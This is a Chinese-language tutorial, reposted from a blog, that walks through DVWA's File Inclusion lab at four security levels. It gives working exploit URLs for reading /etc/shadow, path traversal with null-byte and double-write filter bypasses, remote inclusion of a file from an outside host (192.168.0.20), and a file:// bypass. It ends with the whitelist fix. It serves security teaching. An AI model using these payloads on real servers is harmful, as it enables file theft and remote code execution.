File Inclusion 介绍
File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),require()和include_once(),require_once()等等,利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含分类:
LFI:本地文件包含(Local File Inclusion)RFI:远程文件包含(Remote File Inclusion)
与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启)allow_url_include = on (默认关闭)
远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
下面对四种级别的代码进行分析。
Low Security Level
可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。
如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
点击file1.php,观察到url为:
http://www.dvwa.com/vulnerabilities/fi/?page=file1.php
Exploit
1.本地文件包含
构造url:
http://www.dvwa.com/vulnerabilities/fi/?page=/etc/shadow
配置文件中的magic_quote_gpc选项为off。
在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
以下是phpstudy中php版本为5.2.17的测试结果:
http://www.dvwa.com/vulnerabilities/fi/?page=../../../dvwa/php.ini.phphttp://www.dvwa.com/vulnerabilities/fi/?page=../../../dvwa/php.ini%002.php
2.远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。
在远程服务器192.168.0.20上传一个phpinfo.txt文件,内容如下:
构造以下url,成功在服务器上执行了phpinfo()函数。
www.dvwa.com/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt
为了增加隐蔽性,可以对http://192.168.0.20/phpinfo.txt进行URL编码,同样可以执行成功。
Medium Security Level
str_replace函数介绍:
str_replace(find,replace,string,count)
详细参见:PHP str_replace() 函数
增加了str_replace函数,将以下字符串替换为空。
http://https://../..\
Exploit
使用str_replace函数是极不安全的,可以使用双写绕过替换规则。
例如page=htthttp://p://192.168.0.20/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是../、..\,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1.本地文件包含
绝对路径不受任何影响,读取配置文件成功。
http://www.dvwa.com/vulnerabilities/fi/?page=F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
相对路径的利用以下payload
,读取配置文件成功。
http://www.dvwa.com/vulnerabilities/fi/?page=..././..././..././dvwa/php.ini
2.远程文件包含
构造以下payload,远程执行命令成功。
http://www.dvwa.com/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt
High Security Level
可以看到,High Security Level的代码使用了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
Exploit
High Security Level 的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
Tips:因为 fnmatch 函数适用于 PHP >= 4.3.0,因此 php 版本高于这个才能利用,否则会出现打不开 high 等级页面。
构造如下url,成功读取了服务器的配置文件。
http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php
的文件,然后再利用file
协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
Impossible Security Level
可以看到,Impossible Security Level的代码使用了白名单机制进行防护,简单粗暴,page参数必须为include.php、file1.php、file2.php、file3.php之一,彻底杜绝了文件包含漏洞。
转载自:AnCoLin's Blog|影风博客DVWA File Inclusion 通关教程